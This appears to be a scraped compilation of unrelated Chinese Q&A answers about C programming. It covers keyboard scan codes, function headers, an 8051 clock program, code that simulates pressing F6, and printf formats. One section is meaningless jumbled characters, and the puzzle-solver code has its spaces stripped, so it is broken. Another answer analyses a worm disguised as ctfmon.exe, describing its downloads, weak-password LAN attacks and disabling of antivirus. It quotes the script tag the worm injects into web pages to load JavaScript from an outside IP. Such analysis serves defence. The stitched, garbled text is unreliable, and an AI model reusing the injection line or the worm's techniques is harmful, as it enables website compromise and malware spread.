c語言f6
『壹』 求c語言中各鍵值
鍵盤掃描碼
[編輯本段]定義
鍵盤上的每一個鍵都有兩個唯一的數值進行標志。為什麼要用兩個數值而不是一個數值呢?這是因為一個鍵可以被按下,也可以被釋放。當一個鍵按下時,它們產生一個唯一的數值,當一個鍵被釋放時,它也會產生一個唯一的數值,我們把這些數值都保存在一張表裡面,到時候通過查表就可以知道是哪一個鍵被敲擊,並且可以知道是它是被按下還是被釋放了。這些數值在系統中被稱為鍵盤掃描碼
[編輯本段]掃描碼大全
掃描碼 鍵
0x011b ESC
0x3b00 F1
0x3c00 F2
0x3d00 F3
0x3e00 F4
0x3f00 F5
0x4000 F6
0x4100 F7
0x4200 F8
0x4300 F9
0x4400 F10
主鍵盤區:
0x2960 ~
0x0231 1
0x0332 2
0x0433 3
0x0534 4
0x0635 5
0x0736 6
0x0837 7
0x0938 8
0x0a39 9
0x0b30 0
0x0c2d -
0x0d3d =
0x2b5c \
0x0e08 退格鍵
0x0f09 Tab
0x1071 q
0x1177 w
0x1265 e
0x1372 r
0x1474 t
0x1579 y
0x1675 u
0x1769 i
0x186f o
0x1970 p
0x1a5b [
0x1b5d ]
0x1e61 a
0x1f73 s
0x2064 d
0x2166 f
0x2267 g
0x2368 h
0x246a j
0x256b k
0x266c l
0x273b ;
0x2827 '
0x1c0d 回車
0x2c7a z
0x2d78 x
0x2e63 c
0x2f76 v
0x3062 b
0x316e n
0x326d m
0x332c ,
0x342e .
0x352f /
0x3920 空格鍵
0xe05b 左Win
0xe05c 右Win
0xe05d Menu
右邊數字鍵盤:
0x5200 Insert
0x4700 Home
0x4900 Page UP
0x5300 Delete
0x4f00 End
0x5100 PageDown
0x4800 上箭頭
0x4b00 左箭頭
0x5000 下箭頭
0x4d00 右箭頭
0x352f /
0x372a *
0x4a2d - (注意,這是數字鍵盤的)
0x4737 7
0x4838 8
0x4939 9
0x4b34 4
0x4c35 5
0x4d36 6
0x4e2b +
0x4f31 1
0x5032 2
0x5133 3
0x5230 0
0x532e Del
『貳』 c語言的函數頭
在一個函數定義中,函數體之前的所有部分稱為函數頭,它給出了該函數的返回類型、每個參數的次序和類型等函數原型信息,所以當沒有專門給出函數原型說明語句時,系統就從函數頭中獲取函數原型信息。
一個函數的原型語句就是其函數頭的一個拷貝,當然要在最後加上語句接上結束符分號。函數原型語句與函數頭也有細微的差別,在函數原型語句中,其參數表中的每個參數允許只保留參數類型,而省略參數名,並且若使用參數名也允許與函數頭中對應的參數名不同。
全文如下:
一)、定義格式
<類型名> <函數名> ([<參數表>]) <函數體>
<類型名>為系統或用戶已定義的一種數據類型,它是函數執行過程中通過return語句要求返回的值的類型,又稱為該函數的類型。當一個函數不需要通過return語句返回一個值時,稱為無返回值函數或無類型函數,此時需要使用保留字void作為類型名。當類型名為int時,可以省略不寫,但為了清楚起見,還是寫明為好。
<函數名>是用戶為函數所起的名字,它是一個標識符,應符合C++標識符的一般命名規則,用戶通過使用這個函數名和實參表可以調用該函數。
<參數表>又稱形式參數表,它包含有任意多個(含0個,即沒有)參數說明項,當多於一個時其前後兩個參數說明項之間必須用逗號分開。每個參數說明項由一種已定義的數據類型和一個變數標識符組成,該變數標識符成為該函數的形式參數,簡稱形參,形參前面給出的數據類型稱為該形參的類型。一個函數定義中的<參數表>可以被省略,表明該函數為無參函數,若<參數表>用void取代,則也表明是無參函數,若<參數表>不為空,同時又不是保留字void,則稱為帶參函數。
<函數體>是一條復合語句,它以左花括弧開始,到右花括弧結束,中間為一條或若干條C++語句。
在一個函數的參數表中,每個參數可以為任一種數據類型,包括普通類型、指針類型、數組類型、引用類型等,一個函數的返回值可以是除數組類型之外的任何類型,包括普通類型、指針類型和引用類型等。另外,當不需要返回值時,應把函數定義為void類型。
二)、定義格式舉例
(1) void f1() {...}
(2) void f2(int x) {...}
(3) int f3(int x,int* p) {...}
(4) char* f4(char a[]){...}
(5) int f5(int& x,double d) {...}
(6) int& f6(int b[10], int n) {...}
(7) void f7(float c[][N], int m, float& max) {...}
(8) bool f8(ElemType*& bt, ElemType& item) {...}
在第一條函數定義中,函數名為f1,函數類型為void,參數表為空,此函數是一個無參無類型函數。若在f1後面的圓括弧內寫入保留字void,也表示為無參函數。
在第二條函數定義中,僅帶有一個類型為int的形參變數x,該函數沒有返回值。
在第三條函數定義中,函數名為f3,函數類型為int,函數參數為x和p,其中x為int型普通參數,p為int*型指針參數。
在第四條函數定義中,函數名為f4,函數類型為char*,即字元指針類型,參數表中包含一個一維字元數組參數。注意:在定義任何類型的一維數組參數時,不需要給出維的尺寸,當然給出也是允許的,但沒有任何意義。
在第五條函數定義中,函數名為f5,返回類型為int,該函數帶有兩個形參,一個為 整型引用變數x,另一個為雙精度變數d。
在第六條函數定義中,函數名為f6,函數類型為int&,即整型引用,該函數帶有兩個形參,一個是整型數組b,另一個是整型變數n。在這里定義形參數組b所給出的維的尺寸10可以被省略。
在第七條函數定義中,函數名為f7,無函數類型,參數表中包含三個參數,一個為二維單精度型數組c,第二個為整型變數m,第三個為單精度引用變數max。注意:當定義一個二維數組參數時,第二維的尺寸必須給出,並且必須是一個常量表達式,第一維尺寸可給出也可不給出,其作用相同。
在第八條函數定義中,函數名為f8,返回類型為bool,即邏輯類型,該函數帶有兩個參數,一個為形參bt,它為ElemType的指針引用類型,另一個為形參item,它是ElemType的引用類型,其中ElemType為一種用戶定義的類型或是通過typedef語句定義的一個類型的別名。
三)、有關函數定義的幾點說明
1. 函數原型語句
在一個函數定義中,函數體之前的所有部分稱為函數頭,它給出了該函數的返回類型、每個參數的次序和類型等函數原型信息,所以當沒有專門給出函數原型說明語句時,系統就從函數頭中獲取函數原型信息。
一個函數必須先定義或聲明而後才能被調用,否則編譯程序無法判斷該調用的正確性。一個函數的聲明是通過使用一條函數原型語句實現的,當然使用多條相同的原型語句聲明同一個函數雖然多餘但也是允許的,編譯時不會出現錯誤。
在一個完整的程序中,函數的定義和函數的調用可以在同一個程序文件中,也可以處在不同的程序文件中,但必須確保函數原型語句與函數調用表達式出現在同一個文件中,並且函數原型語句出現在前,函數的調用出現在後。
通常把一個程序中用戶定義的所有函數的原型語句組織在一起,構成一個頭文件,讓該程序中所含的每個程序文件的開始(即所有函數定義之前)包含這個頭文件(通過#include命令實現),這樣不管每個函數的定義在哪裡出現,都能夠確保函數先聲明後使用(即調用)這一原則的實現。
一個函數的原型語句就是其函數頭的一個拷貝,當然要在最後加上語句接上結束符分號。函數原型語句與函數頭也有細微的差別,在函數原型語句中,其參數表中的每個參數允許只保留參數類型,而省略參數名,並且若使用參數名也允許與函數頭中對應的參數名不同。
2. 常量形參
在定義一個函數時,若只允許函數體訪問一個形參的值,不允許修改它的值,則應把該形參說明為常量,這只要在形參說明的前面加上const保留字進行修飾即可。如:
void f9(const int& x, const char& y);
void f10(const char* p, char key);
在函數f9的函數體中只允許使用x和y的值,不允許修改它們的值。在函數f10的函數體中只允許使用p所指向的字元對象或字元數組對象的值,不允許修改它們的值,但在函數體中既允許使用也允許修改形參key的值。
3. 預設參數
在一個函數定義中,可根據需要對參數表末尾的一個或連續若干個參數給出預設值,當調用這個函數時,若實參表中沒有給出對應的實參,則形參將採用這個預設值。如:
void f11(int x, int y=0) {...}
int f12(int a[], char op='+', int k=10) {...}
函數f11的定義帶有兩個參數,分別為整型變數x和y,並且y帶有預設值0,若調用該函數的表達式為f11(a,b),將把a的值賦給x,把b的值賦給y,接著執行函數體;若調用該函數的表達式為f11(a+b),則也是正確的調用格式,它將把a+b的值賦給x,因y沒有對應的實參,將採用預設值0,參數傳送後接著執行函數體。
函數f12的定義帶有三個參數,其中後兩個帶有預設值,所以調用它的函數格式有三種,一種只帶一個實參,用於向形參a傳送數據,後兩個形參採用預設值,第二種帶有兩個實參,用於分別向形參a和op傳送數據,第三個形參採用預設值,第三種帶有三個實參,分別用於傳送給三個形參。
若一個函數帶有專門的函數原型語句,則形參的預設值只能在該函數原型語句中給出,不允許在函數頭中給出。如對於上述的f11和f12函數,其對應的函數原型語句分別為:
void f11(int x, int y=0);
int f12(int a[], char op='+', int k=10);
函數定義應分別改寫為:
void f11(int x, int y) {...}
int f12(int a[], char op, int k) {...}
4. 數組參數
在函數定義中的每個數組參數實際上是指向元素類型的指針參數。對於一維數組參數說明:
<數據類型> <數組名>[]
它與下面的指針參數說明完全等價:
<數據類型> *<指針變數名>
其中<指針變數名>就是數組參數說明中的<數組名>。如對於f12函數定義中的數組參數說明int a[],等價於指針參數說明int* a。也就是說,數組參數說明中的數組名a是一個類型為int*的形參。注意:在變數定義語句中定義的數組,其數組名代表的是一個數組,它的值是指向第一個元素的指針常量,這與數組形參的含義有區別。
對於二維數組參數說明:
<數據類型> <參數名>[][<第二維尺寸>]
它與下面的指針參數說明完全等價:
<數據類型> (*<參數名>)[<第二維尺寸>]
如對於f7函數定義中的二維數組參數說明float c[][N],等價於指針參數說明float(*c)[N]。
5. 函數類型
當調用一個函數時就執行一遍循環體,對於類型為非void的函數,函數體中至少必須帶有一條return語句,並且每條return語句必須帶有一個表達式,當執行到任一條return語句時,將計算出它的表達式的值,結束整個函數的調用過程,把這個值作為所求的函數值帶回到調用位置,參與相應的運算;對於類型為void的函數,它不需要返回任何函數值,所以在函數體中既可以使用return語句,也可以不使用,對於使用的每條return語句不允許也不需要帶有表達式,當執行到任一條return語句時,或執行到函數體最後結束位置時,將結束函數的調用過程,返回到調用位置向下繼續執行。
6. 內聯函數
當在一個函數的定義或聲明前加上關鍵字inline則就把該函數聲明為內聯函數。計算機在執行一般函數的調用時,無論該函數多麼簡單或復雜,都要經過參數傳遞、執行函數體和返回等操作。若把一個函數聲明為內聯函數後,在程序編譯階段系統就有可能把所有調用該函數的地方都直接替換為該函數的執行代碼,由此省去函數調用時的參數傳遞和返回操作,從而加快整個程序的執行速度。通常可把一些相對簡單的函數聲明為內聯函數,對於較復雜的函數則不應聲明為內聯函數。從用戶的角度看,調用內聯函數和一般函數沒有任何區別。下面就是一個內聯函數定義的例子,它返回形參值的立方。
inline int cube(int n)
{
return n*n*n;
}
『叄』 c語言程序的含義
這是我以前寫的一個簡單的時鍾程序,當時沒寫注釋,與上面的差不多,你可以自己分析。希望你可以盡快學通! 加油!#include<at89x51.h>
unsigned char code TABLE[]=
{ 0xFC,/*0*/
0x60,/*1*/
0xDA,/*2*/
0xF2,/*3*/
0x66,/*4*/
0xB6,/*5*/
0xBE,/*6*/
0xE0,/*7*/
0xFE,/*8*/
0xF6,/*9*/
};
unsigned char code SCAN[]={0xdf,0xef,0x7f,0xbf,0xdf,0xef};
unsigned char SEG[6];
unsigned char HOUR=12,MIN=0,SEC=0;MS50=0;
sbit K1=P3^0;
sbit K2=P3^1;
sbit K3=P3^2;
/****延時程序******/
void delay(unsigned int t)
{
unsigned char m,n;
for(m=0;m<t;m++)
for(n=0;n<100;n++)
;
}/****數碼管掃描程序*****/
void scan6()
{
unsigned char a;
SEG[0]=HOUR/10;SEG[1]=HOUR%10;
SEG[2]=MIN/10;SEG[3]=MIN%10;
SEG[4]=SEC/10;SEG[5]=SEC%10;
for(a=0;a<=5;a++)
{
SEG[a]=TABLE[SEG[a]];
if(a==1|a==3|a==5)
SEG[a]=SEG[a]|0x01;
}
for(a=2;a<=5;a++)
{
P0=SEG[a];
P2=SCAN[a];
delay(1);
P2=0xff;
}
}void key()
{
if(K1==0)
{
HOUR++;
if(HOUR==24) HOUR=0;
while(K1==0) scan6();
}
if(K2==0)
{
MIN++;
if(MIN==60) MIN=0;
while(K2==0) scan6();
}
if(K3==0)
{
SEC=0;
MS50=0;
while(K3==0) scan6();
}
}
/*******主程序******/
void main()
{
EA=1;ET0=1;
TMOD=0x01;
TH0=0x3c;TL0=0xb0;
TR0=1;
while(1)
{
scan6();
key();
}
}void time(void) interrupt 1
{
TH0=0x3c;TL0=0xaf;
MS50++;
if(MS50==20)
{
MS50=0;
SEC++;
if(SEC==60)
{
SEC=0;
MIN++;
if(MIN==60)
{
MIN=0;
HOUR++;
if(HOUR==24) HOUR=0;
}
}
}
}
『肆』 C語言代碼
看你的代碼,應該是想通過使用12個for循環嵌套來實現,但是這種方式效率是比較低的,13的12次方有23298085122481種方案,短時間內是看不到電腦的運行結果的。
所以我採用了另一種方法,最終算得的結果是64種方案。
#include<stdio.h>
#include"LinkedList.h"
intis_unique(int*array,intvalue,intlen)
{
inti=0,j=0;
for(i=0;i<len-1;i++)
{
for(j=i+1;j<len;j++)
{
if(array[i]==array[j])
return0;
}
}
return1;
}
intmain()
{
inti=0,j=0,m=0,n=0,k=0;
intcount[4]={0};
inttmp=0;
DataTypevalue;
inta[12]={0};//用於存放臨時組合的數據
intmax_num=0;//加減乘除四種運算中,符合條件的方案數量最少的個數
LinkedList_stru*list_array[4];
LinkedList_stru*list_tmp;
LinkNode_stru*p1,*p2,*p3,*p4;
intflag=0;
inttotal=0;
/*定義鏈表指針,用於存放創建的鏈表首地址*/
LinkedList_stru*list_addition=NULL,*list_subtraction=NULL;
LinkedList_stru*list_multiplication=NULL,*list_division=NULL;
printf(" 開始玩命分析......... ");
/*分析:總共有+,-,*,÷四種運算,而且運算結果需要在1~13之間。
*所以,我們可以先把這些所有符合條件的結果求出來.
**/
/*創建鏈表*/
list_addition=LinkedList_Create();//+
list_subtraction=LinkedList_Create();//-
list_multiplication=LinkedList_Create();//×
list_division=LinkedList_Create();//÷
/*1.求出+運算所有符合要求的方案*/
count[0]=0;
for(i=1;i<=13;i++)
{
for(j=1;j<=13;j++)
{
tmp=i+j;
if(tmp<=13)
{
if(i==j||j==tmp||i==tmp)
{
continue;
}
else
{
value.a1=i;
value.a2=j;
value.a3=tmp;
LinkedList_Add_Tail(list_addition,value);
count[0]++;
//printf("%2d+%2d=%2d ",i,j,(i+j));
}
}
}
}
//printf("計算完畢,+運算符合條件的結果總共有%d種! ",count[0]);
/*2.求出-運算所有符合要求的方案*/
count[1]=0;
for(i=1;i<=13;i++)
{
for(j=1;j<=13;j++)
{
tmp=i-j;
if(tmp>0&&tmp<=13)
{
if(i==j||j==tmp||i==tmp)
{
continue;
}
value.a1=i;
value.a2=j;
value.a3=tmp;
LinkedList_Add_Tail(list_subtraction,value);
count[1]++;
//printf("%2d-%2d=%2d ",i,j,(i-j));
}
}
}
//printf("計算完畢,-運算符合條件的結果總共有%d種! ",count[1]);
/*3.求出×運算所有符合要求的方案*/
count[2]=0;
for(i=1;i<=13;i++)
{
for(j=1;j<=13;j++)
{
tmp=i*j;
if(tmp>0&&tmp<=13)
{
if(i==j||j==tmp||i==tmp)
{
continue;
}
value.a1=i;
value.a2=j;
value.a3=tmp;
LinkedList_Add_Tail(list_multiplication,value);
count[2]++;
//printf("%2d×%2d=%2d ",i,j,(i*j));
}
}
}
//printf("計算完畢,+運算符合條件的結果總共有%d種! ",count[2]);
/*4.求出÷運算所有符合要求的方案*/
count[3]=0;
for(i=1;i<=13;i++)
{
for(j=1;j<=13;j++)
{
tmp=i%j;
if(tmp==0)
{
if(i==j||j==(i/j)||i==(i/j))
{
continue;
}
value.a1=i;
value.a2=j;
value.a3=(i/j);
LinkedList_Add_Tail(list_division,value);
count[3]++;
//printf("%2d÷%2d=%2d ",i,j,(i/j));
}
}
}
//printf("計算完畢,÷運算符合條件的結果總共有%d種! ",count[3]);
printf("list_addition:clen=%d! ",list_addition->clen);
printf("list_subtraction:clen=%d! ",list_subtraction->clen);
printf("list_multiplication:clen=%d! ",list_multiplication->clen);
printf("list_division:clen=%d! ",list_division->clen);
list_array[0]=list_addition;
list_array[1]=list_subtraction;
list_array[2]=list_multiplication;
list_array[3]=list_division;
max_num=list_array[0]->clen;
for(i=0;i<4;i++)
{
if(max_num>=list_array[i]->clen)
{
max_num=list_array[i]->clen;
//list_tmp=num[i];
}
}
//printf("最多隻能有%d種方案! ",max_num);
/*從上面的計算結果我們可以知道,最多隻能有10種方案,因為乘法和除法這兩種運算均只有10種方案符合條件
*所以,這里我們就基於除法去做匹配.按理說不應該這么做的,應該在代碼中進行判斷,但是為了節省時間,只能這樣了。
**/
/*遍歷鏈表*/
p4=list_division->pHead->pNext;
for(i=0;i<list_division->clen;i++)
{
p3=list_multiplication->pHead->pNext;
for(j=0;j<list_multiplication->clen;j++)
{
p2=list_subtraction->pHead->pNext;
for(m=0;m<list_subtraction->clen;m++)
{
p1=list_addition->pHead->pNext;
for(n=0;n<list_addition->clen;n++)
{
flag=111;
a[0]=p1->data.a1;a[1]=p1->data.a2;a[2]=p1->data.a3;
a[3]=p2->data.a1;a[4]=p2->data.a2;a[5]=p2->data.a3;
a[6]=p3->data.a1;a[7]=p3->data.a2;a[8]=p3->data.a3;
a[9]=p4->data.a1;a[10]=p4->data.a2;a[11]=p4->data.a3;
for(k=0;k<sizeof(a)/sizeof(a[0]);k++)
{
if(!is_unique(a,a[k],sizeof(a)/sizeof(a[0])))
{
flag=0;
break;
}
}
if(flag==111)
{
//printf(" ");
total++;
printf("方案%d: ",total);
printf("%2d+%2d=%2d ",a[0],a[1],a[2]);
printf("%2d-%2d=%2d ",a[3],a[4],a[5]);
printf("%2d×%2d=%2d ",a[6],a[7],a[8]);
printf("%2d÷%2d=%2d ",a[9],a[10],a[11]);
printf(" ");
}
p1=p1->pNext;
}
p2=p2->pNext;
}
p3=p3->pNext;
}
p4=p4->pNext;
}
printf("計算完畢,總共有%d種方案! ",total);
return0;
}
『伍』 求一C程序,運行後有按下鍵盤上的F6的功能。求源程序,最好是exe可執行的程序。謝謝
#include<Windows.h>
int main(){
Sleep(3000); // 運行3000ms再開始模擬按鍵,可以刪掉
int cnt=0;
while (++cnt<100) { // 計數,100次 ,可以改
keybd_event(VK_F6, 0, 0, 0);
keybd_event(VK_F6, 0, 2, 0);
Sleep(1000); // 兩次按鍵間隔,毫秒為單位,可以改
}
system("pause");
}
『陸』 字~C的名F6符不要字尋求號
看不不好電主
起
加
個後,那名
窗
的加
,聽
,
我肯好聆
空
雨格
字似定名聽
字看再字見
看符正,4琦水么。,
你
面要個給
,意
提提好,年
寞個
前多行
寂檯面流情號
歌你
樓的
『柒』 c\windows\system32\f6cb5\ctfmon.exe是什麼
進程文件: ctfmon 或者 ctfmon.exe
進程名稱: Alternative User Input Services
描述:
ctfmon.exe是Microsoft Office產品套裝的一部分。它可以選擇用戶文字輸入程序,和微軟Office XP語言條。這不是純粹的系統程序,但是如果終止它,可能會導致不可知的問題。
程序ctfmon.exe是有關輸入法的一個可執行程序,系統默認情況下是隨電腦開機而自動啟動的。如果你設置了ctfmon.exe不隨機自動啟動,進入系統後你的電腦任務欄中的輸入法圖標(即語言欄)就不見了。
要設置ctfmon.exe隨機自動啟動,可以單擊「開始」——>「運行」——>輸入「msconfig」(引號不要輸入),回車——>打開「系統配置使用程序」窗口——>選擇「啟動」頁,找到ctfmon項並在其前面打上鉤,按「應用」、「確定」,重啟機器即可生效。
如果在「啟動」頁,找不到ctfmon項,說明注冊表中已將該項刪除,可以單擊「開始」——>「運行」——>輸入「regedit」(引號不要輸入),回車——>打開「注冊表編輯器」,定位到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,在窗口的右側新建名字為ctfmon.exe的字元串值(REG_SZ),並將其值設置為「C:\WINDOWS\system32\ctfmon.exe」,然後關閉注冊表編輯器,再執行前一步的操作即可.
出品者: Microsoft Corp.
屬於: Microsoft Office Suite
系統進程: 是
後台程序: 是
使用網路: 否
硬體相關: 否
常見錯誤: 未知N/A
常見錯誤: 未知N/A
安全等級 (0-5): 0
間諜軟體: 否
內存大小:3664k
廣告軟體: 否
病毒: 否
木馬: 否
最近電腦突然卡,發現進程了多了很多個ctfmon.exe
感覺不對,馬上用在線殺毒http://www.anti.cn/board/online/ 查殺
金山報毒!!!Win32.Troj.Downloader.c.45056
感染蟲下載器45056 Win32.Troj.Downloader.c.45056
病毒行為:
這是一個蠕蟲病毒。(蠕蟲病毒比以前少了很多,但對區域網的影響會很大)
該病毒運行後,會指定的網路上下載病毒程序,並且會搜索區域網內機器,以弱口令進行嘗試性連接
一旦連接成功,則判斷該機器弱口令是否有足夠的許可權, 有則向該遠程機器發送惡意數據,然後利用windows漏洞來下載程序,予以執行.
1.病毒運行後,產生以下病毒文件
%WINDIR%\ SYSTEM32\tmipo.bat
%WINDIR%\ SYSTEM32\taimpo.txt
2.添加病毒啟動項
啟動項名:svchost對應路徑:%Documents and Settings%\Administrator\桌面\ctfmon.exe
3.病毒會觸發taimpo.bat病毒文件,用來關閉"360安全衛士",使用戶的安全性能降低.
4.病毒會檢測連接的遠程機器,當遠程機器的登錄木馬是弱口令時,則會對該機器進行攻擊,最後下載adi.vbs到用戶機器上.
5.遍歷磁碟,查找*.htm、*.PHP、*.ASP等網頁文件,開始感染,插入一段JS代碼:
script language=javascript src=http://218.**.**.248/qq.js
這段腳本病毒,可能會被用作下載更多的木馬程序,利用蠕蟲攻擊傳播,利用下載器種植木馬,是目前黑客偷東西慣用的手法。
解決方案:
怕麻煩直接去下載專殺工具: http://bbs.anti.cn/forum-35-1.html
1.刪除病毒生成的三個文件,可使用清理專家的文件粉碎器完成操作。
%WINDIR%\ SYSTEM32\tmipo.bat (%WINDIR%預設是c:\windows目錄)
%WINDIR%\ SYSTEM32\taimpo.txt
%Documents and Settings%\Administrator\桌面\ctfmon.exe(偽裝成輸入法的程序名)
2.使用金山清理專家的修復功能,將病毒添加的注冊表啟動項刪除。
防範措施:
1.最最重要的,是給系統打補丁,登錄系統一定要使用口令,就算是電腦只有自己一個人用,也需要安全的登錄口令,口令不能太簡單,以免被遠程攻擊工具猜解。(因為只要電腦接入互聯網,就能給木馬以機會。)
其它方案基本是相通的,不在綴述!
ctfmon.exe【樣本】
文件名稱:ctfmon.exe
文件大小:45,056 位元組
AV命名:Win32.HLLW.Rubbish (Dr.Web v4.44);
Worm.Win32.Downloader.c (kav 7.0.0.125)
加殼方式:N/A
編寫語言:Microsoft Visual C++ 6.0
病毒類型:蠕蟲
文件MD5:
傳播方式:網頁漏洞
樣本來源:劍盟 [病毒樣本]
C:\Documents and Settings\Administrator\Local Settings\Temp里有三個DAT
用磁碟清掃
『捌』 如何用程序檢測到鍵盤輸入了某個文本,自動按下F6
在控制台輸入嗎?
如果控制台輸入:
#include <cstdio>
#include <string>
#include <windows.h>
using namespace std;
int main() {
char inf[500];
gets(inf);
strings dat = inf;
if (dat == "快樂") keybd_event(VK_F6, 0, KEYEVENTF_EXTENDEDKEY|0, 0);
return 0;
}//C++
『玖』 c語言的表達式是什麼
leap=year%4==0&&year%100!=0||year%400==0
是給
leap
這個對象賦值,
賦的值是一個布爾型的變數year%4==0&&year%100!=0||year%400==0
可以用括弧讓表達式明確點
(year%4==0)
&&
(year%100!=0)
||
(year%400==0)
%是求余
意思就是
變數
year
對
對4整除但是又不對100整除
或者
對400整除
本質是求year是否為閏年...如果是閏年,則leap
=
true,否則則leap返回false
『拾』 C語言中的|%6.0f|是啥意思
是一種輸出格式:6表示保留六位有效數字,小數點後表示小數點後保留的位數,如果是0就表示小數點後沒有數字。\n就是在輸出前面的數字之後換行!